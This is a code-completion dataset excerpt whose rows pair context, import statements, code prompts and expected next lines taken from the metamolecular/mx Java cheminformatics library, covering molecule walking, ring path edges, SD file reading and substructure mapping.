repo_name
stringlengths
7
104
file_path
stringlengths
13
198
context
stringlengths
67
7.15k
import_statement
stringlengths
16
4.43k
code
stringlengths
40
6.98k
prompt
stringlengths
227
8.27k
next_line
stringlengths
8
795
metamolecular/mx
src/com/metamolecular/mx/walk/DefaultWalker.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // }
import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond;
public void setMaximumDepth(int depth) { this.maximumDepth = depth; } public void walk(Atom atom, Reporter reporter) { Step step = new DefaultStep(atom); reporter.walkStart(atom); step(step, reporter); reporter.walkEnd(atom); } public void step(Step step, Reporter reporter) { reporter.atomFound(step.getAtom()); if (abort(step)) { return; } boolean inBranch = false; while (true) { if (step.hasNextBond()) {
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // Path: src/com/metamolecular/mx/walk/DefaultWalker.java import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; public void setMaximumDepth(int depth) { this.maximumDepth = depth; } public void walk(Atom atom, Reporter reporter) { Step step = new DefaultStep(atom); reporter.walkStart(atom); step(step, reporter); reporter.walkEnd(atom); } public void step(Step step, Reporter reporter) { reporter.atomFound(step.getAtom()); if (abort(step)) { return; } boolean inBranch = false; while (true) { if (step.hasNextBond()) {
Bond bond = step.nextBond();
metamolecular/mx
src/com/metamolecular/mx/ring/PathEdge.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // }
import com.metamolecular.mx.model.Atom; import java.util.ArrayList; import java.util.Collections; import java.util.List;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.ring; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class PathEdge {
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // Path: src/com/metamolecular/mx/ring/PathEdge.java import com.metamolecular.mx.model.Atom; import java.util.ArrayList; import java.util.Collections; import java.util.List; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.ring; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class PathEdge {
private List<Atom> atoms;
metamolecular/mx
src/com/metamolecular/mx/test/SDFileReaderTest.java
// Path: src/com/metamolecular/mx/io/mdl/SDFileReader.java // public class SDFileReader // { // private static String RECORD_END = "$$$$"; // private static String LINEFEED = "\n"; // private BufferedReader reader; // private Reader file; // private String record; // private Pattern keyPattern; // private Pattern molfilePattern; // private Map<String, Pattern> keyPatterns; // // public SDFileReader(String filename) throws IOException // { // record = null; // file = new FileReader(filename); // reader = new BufferedReader(file); // keyPattern = Pattern.compile("^> *?<(.*?)>", Pattern.MULTILINE); // molfilePattern = Pattern.compile("^(.*M END)", Pattern.DOTALL); // keyPatterns = new HashMap<String, Pattern>(); // } // // public void close() // { // try // { // file.close(); // } // catch (IOException e) // { // throw new RuntimeException("Error closing file.", e); // } // } // // public boolean hasNextRecord() // { // try // { // return reader.ready(); // } // catch (IOException ignore) // { // } // // return false; // } // // public void nextRecord() // { // StringBuffer buff = new StringBuffer(); // // try // { // String line = reader.readLine(); // // while (!RECORD_END.equals(line)) // { // buff.append(line + LINEFEED); // // line = reader.readLine(); // } // } // catch (IOException e) // { // throw new RuntimeException("An unexpected IO error occurred while reading file.", e); // } // // record = buff.toString(); // } // // public String getData(String key) // { // assertRecordLoaded(); // // Pattern pattern = keyPatterns.get(key); // // if (pattern == null) // { // pattern = Pattern.compile(".*^> *?<" + key + ">$(.*?)$^$.*", Pattern.MULTILINE | Pattern.DOTALL); // // keyPatterns.put(key, pattern); // } // // Matcher matcher = pattern.matcher(record); // // return matcher.matches() ? matcher.group(1).trim() : ""; // } // // public Molecule getMolecule() // { // assertRecordLoaded(); // // Matcher matcher = molfilePattern.matcher(record); // // matcher.find(); // // String molfile = matcher.group(1); // // return MoleculeKit.readMolfile(molfile); // } // // public Molecule getMolecule(boolean virtualizeHydrogens) // { // assertRecordLoaded(); // // Matcher matcher = molfilePattern.matcher(record); // // matcher.find(); // // String molfile = matcher.group(1); // // return MoleculeKit.readMolfile(molfile, virtualizeHydrogens); // } // // public List<String> getKeys() // { // List<String> result = new ArrayList<String>(); // Matcher m = keyPattern.matcher(record); // // while (m.find()) // { // result.add(m.group(1)); // } // // return result; // } // // private void assertRecordLoaded() // { // if (record == null) // { // throw new IllegalStateException("No record has been loaded. Make sure you've called nextRecord() first."); // } // } // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // }
import java.util.List; import junit.framework.TestCase; import com.metamolecular.mx.io.mdl.SDFileReader; import com.metamolecular.mx.model.Molecule; import java.io.IOException; import java.util.Arrays;
reader.getMolecule(); fail(); } catch (IllegalStateException e) { assertTrue(true); } } public void testItShouldThrowIOExceptionWhenCreatedFromANonexistentFile() { try { new SDFileReader("bar.sdf"); fail(); } catch (IOException ignore) { assertTrue(true); } } public void testItShouldLoadAMoleculeForEveryRecord() { while (reader.hasNextRecord()) { reader.nextRecord();
// Path: src/com/metamolecular/mx/io/mdl/SDFileReader.java // public class SDFileReader // { // private static String RECORD_END = "$$$$"; // private static String LINEFEED = "\n"; // private BufferedReader reader; // private Reader file; // private String record; // private Pattern keyPattern; // private Pattern molfilePattern; // private Map<String, Pattern> keyPatterns; // // public SDFileReader(String filename) throws IOException // { // record = null; // file = new FileReader(filename); // reader = new BufferedReader(file); // keyPattern = Pattern.compile("^> *?<(.*?)>", Pattern.MULTILINE); // molfilePattern = Pattern.compile("^(.*M END)", Pattern.DOTALL); // keyPatterns = new HashMap<String, Pattern>(); // } // // public void close() // { // try // { // file.close(); // } // catch (IOException e) // { // throw new RuntimeException("Error closing file.", e); // } // } // // public boolean hasNextRecord() // { // try // { // return reader.ready(); // } // catch (IOException ignore) // { // } // // return false; // } // // public void nextRecord() // { // StringBuffer buff = new StringBuffer(); // // try // { // String line = reader.readLine(); // // while (!RECORD_END.equals(line)) // { // buff.append(line + LINEFEED); // // line = reader.readLine(); // } // } // catch (IOException e) // { // throw new RuntimeException("An unexpected IO error occurred while reading file.", e); // } // // record = buff.toString(); // } // // public String getData(String key) // { // assertRecordLoaded(); // // Pattern pattern = keyPatterns.get(key); // // if (pattern == null) // { // pattern = Pattern.compile(".*^> *?<" + key + ">$(.*?)$^$.*", Pattern.MULTILINE | Pattern.DOTALL); // // keyPatterns.put(key, pattern); // } // // Matcher matcher = pattern.matcher(record); // // return matcher.matches() ? matcher.group(1).trim() : ""; // } // // public Molecule getMolecule() // { // assertRecordLoaded(); // // Matcher matcher = molfilePattern.matcher(record); // // matcher.find(); // // String molfile = matcher.group(1); // // return MoleculeKit.readMolfile(molfile); // } // // public Molecule getMolecule(boolean virtualizeHydrogens) // { // assertRecordLoaded(); // // Matcher matcher = molfilePattern.matcher(record); // // matcher.find(); // // String molfile = matcher.group(1); // // return MoleculeKit.readMolfile(molfile, virtualizeHydrogens); // } // // public List<String> getKeys() // { // List<String> result = new ArrayList<String>(); // Matcher m = keyPattern.matcher(record); // // while (m.find()) // { // result.add(m.group(1)); // } // // return result; // } // // private void assertRecordLoaded() // { // if (record == null) // { // throw new IllegalStateException("No record has been loaded. Make sure you've called nextRecord() first."); // } // } // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // Path: src/com/metamolecular/mx/test/SDFileReaderTest.java import java.util.List; import junit.framework.TestCase; import com.metamolecular.mx.io.mdl.SDFileReader; import com.metamolecular.mx.model.Molecule; import java.io.IOException; import java.util.Arrays; reader.getMolecule(); fail(); } catch (IllegalStateException e) { assertTrue(true); } } public void testItShouldThrowIOExceptionWhenCreatedFromANonexistentFile() { try { new SDFileReader("bar.sdf"); fail(); } catch (IOException ignore) { assertTrue(true); } } public void testItShouldLoadAMoleculeForEveryRecord() { while (reader.hasNextRecord()) { reader.nextRecord();
Molecule molecule = reader.getMolecule();
metamolecular/mx
src/com/metamolecular/mx/map/Mapper.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // }
import java.util.Map; import com.metamolecular.mx.query.*; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import java.util.List;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.map; /** * * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public interface Mapper {
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // Path: src/com/metamolecular/mx/map/Mapper.java import java.util.Map; import com.metamolecular.mx.query.*; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import java.util.List; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.map; /** * * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public interface Mapper {
public boolean hasMap(Molecule molecule);
metamolecular/mx
src/com/metamolecular/mx/map/Mapper.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // }
import java.util.Map; import com.metamolecular.mx.query.*; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import java.util.List;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.map; /** * * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public interface Mapper { public boolean hasMap(Molecule molecule); public int countMaps(Molecule target);
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // Path: src/com/metamolecular/mx/map/Mapper.java import java.util.Map; import com.metamolecular.mx.query.*; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import java.util.List; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.map; /** * * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public interface Mapper { public boolean hasMap(Molecule molecule); public int countMaps(Molecule target);
public List<Map<Node, Atom>> getMaps(Molecule target);
metamolecular/mx
src/com/metamolecular/mx/io/mdl/SDFileReader.java
// Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/MoleculeKit.java // public class MoleculeKit // { // private static MolfileReader reader; // private static MolfileWriter writer; // private static VirtualHydrogenCounter hydrogenCounter; // private static String hydrogen = "H"; // private static MassCalculator massCalculator; // // static // { // reader = new MolfileReader(); // writer = new MolfileWriter(); // massCalculator = new MassCalculator(); // hydrogenCounter = new VirtualHydrogenCounter(); // } // // /** // * // */ // private MoleculeKit() // { // // } // // public static double getMass(Molecule molecule) // { // return massCalculator.findAveragedMass(molecule); // } // // public static Molecule readMolfile(String molfile) // { // Molecule result = new DefaultMolecule(); // // reader.read(result, molfile.replaceAll("\\\\n", "\n")); // // return result; // } // // public static Molecule readMolfile(String molfile, boolean virtualizeHydrogens) // { // Molecule mol = readMolfile(molfile); // // if (virtualizeHydrogens) // { // virtualizeHydrogens(mol); // } // // return mol; // } // // public static String writeMolfile(Molecule molecule) // { // return writer.write(molecule); // } // // public static void virtualizeHydrogens(Molecule molecule) // { // List toStrip = new ArrayList(); // // for (int i = 0; i < molecule.countAtoms(); i++) // { // Atom atom = molecule.getAtom(i); // // recordVirtualizableHydrogens(atom, toStrip); // } // // if (toStrip.isEmpty()) return; // // molecule.beginModify(); // // for (int i = 0; i < toStrip.size(); i++) // { // Atom atom = (Atom) toStrip.get(i); // // molecule.removeAtom(atom); // } // // molecule.endModify(); // } // // public static boolean isVirtualizableHydrogen(Atom atom) // { // if (!hydrogen.equals(atom.getSymbol())) // { // return false; // } // // if (atom.hasSingleIsotope() || atom.countNeighbors() != 1) // { // return false; // } // // Bond[] bonds = atom.getBonds(); // // return bonds[0].getStereo() == 0 && bonds[0].getType() == 1; // } // // public static boolean isVirtualizableHydrogenBond(Bond bond) // { // if (!(hydrogen.equals(bond.getSource().getSymbol()) || hydrogen.equals(bond.getTarget().getSymbol()))) // { // return false; // } // // if (hydrogen.equals(bond.getSource().getSymbol()) && hydrogen.equals(bond.getTarget().getSymbol())) // { // return false; // } // // return bond.getStereo() == 0 && bond.getType() == 1; // } // // private static void recordVirtualizableHydrogens(Atom atom, List toStrip) // { // if (!hydrogenCounter.isVirtualizableHeavyAtom(atom)) return; // // Bond[] bonds = atom.getBonds(); // // for (int i = 0; i < bonds.length; i++) // { // Bond bond = bonds[i]; // Atom neighbor = bond.getMate(atom); // // if (hydrogen.equals(neighbor.getSymbol())) // { // if (neighbor.hasSingleIsotope()) continue; // if (bond.getStereo() != 0) continue; // // toStrip.add(neighbor); // } // } // } // }
import java.io.IOException; import java.io.Reader; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.regex.Matcher; import java.util.regex.Pattern; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.MoleculeKit; import java.io.BufferedReader; import java.io.FileReader;
